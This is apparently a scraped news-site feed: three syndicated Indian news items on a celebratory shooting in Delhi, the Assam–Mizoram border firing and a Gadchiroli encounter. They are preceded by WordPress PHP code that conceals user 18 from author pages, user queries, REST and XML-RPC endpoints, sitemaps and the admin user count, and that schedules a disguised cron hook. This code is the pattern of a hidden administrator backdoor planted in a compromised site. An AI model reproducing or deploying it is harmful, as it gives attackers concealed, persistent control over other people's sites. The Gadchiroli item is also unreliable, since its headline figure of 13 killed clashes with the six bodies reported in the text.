add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Police arrests a man along with his friend for firing shots during b’day celebration appeared first on The Edge Media.
]]>
The arrest of the accused comes after the police took cognizance of a widely circulated video showing the man firing shots in the air at the birthday celebration organised on the rooftop of a house in outer Delhi’s east Paschim Vihar.
The police said the purported video, posted on the social media on the intervening night of Saturday and Sunday showed the accused — Sumit Tanwar — firing shots in the air.
Deputy Commissioner of Police (Outer) Parvinder Singh said, “Taking cognizance of a video on social media, a case under section 336 (act endangering life or personal safety of others) of the Indian Penal Code has been registered at Paschim Vihar East police station.”
During enquiry, the rooftop in the video was identified. On August 4, Tanwar, a resident of Guru Harkishan Nagar here, was celebrating his friend’s birthday at the house at Pushkar Enclave in Paschim Vihar, which is owned by another of his friend, Abhijeet Adana, the officer said.
In the purported video, Tanwar was seen firing a few rounds in the air from a firearm, he said.
“The revolver used in the firing belongs to Tanwar’s friend Adana, which is being verified. The two accused are being questioned for recovery of firearm,” Singh said.
Police said Tanwar’s father owns a factory of leather products in Jaipur and the accused is looking after the office in Delhi, while Abhijeet Adana is into the property dealing business.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Police arrests a man along with his friend for firing shots during b’day celebration appeared first on The Edge Media.
]]>The post Reports of Firing at Assam Mizoram Border ; Chief Minister’s Twitter Fight. appeared first on The Edge Media.
]]>The police forces from both states have returned from the disputed site.
The Chief Minister of both states clashed on Twitter, and tagged Union Home Minister Amit Shah in their posts.
The post Reports of Firing at Assam Mizoram Border ; Chief Minister’s Twitter Fight. appeared first on The Edge Media.
]]>The post Maharashtra: 13 Naxals killed in an encounter inn Gadchiroli appeared first on The Edge Media.
]]>Gadchiroli Police said on Wednesday that they had received information about the naxals. They had gathered in the Paidi forest area in Etapalli tehsil for extortion. Therefore, a team of C-60 commandos, a special combat force of the district police, went to the area. The encounter took place between 6 am to 7.30 am. About 60-70 naxals started to fire on C-60 commandos and kept on firing instead of the appeal to surrender.
After the Naxals vanished into the forest, the bodies of six male and female cadres were found However, some more naxals would urely be injured, they managed to escape. Police also retrieved AK-47 rifle, an SLR, a carbine, a .303 rifle and explosives. The “encounter” was a tribute to the 15 policemen killed in an ambush in the district in 2019, said Police Superintendent Ankit Goyal.
The post Maharashtra: 13 Naxals killed in an encounter inn Gadchiroli appeared first on The Edge Media.
]]>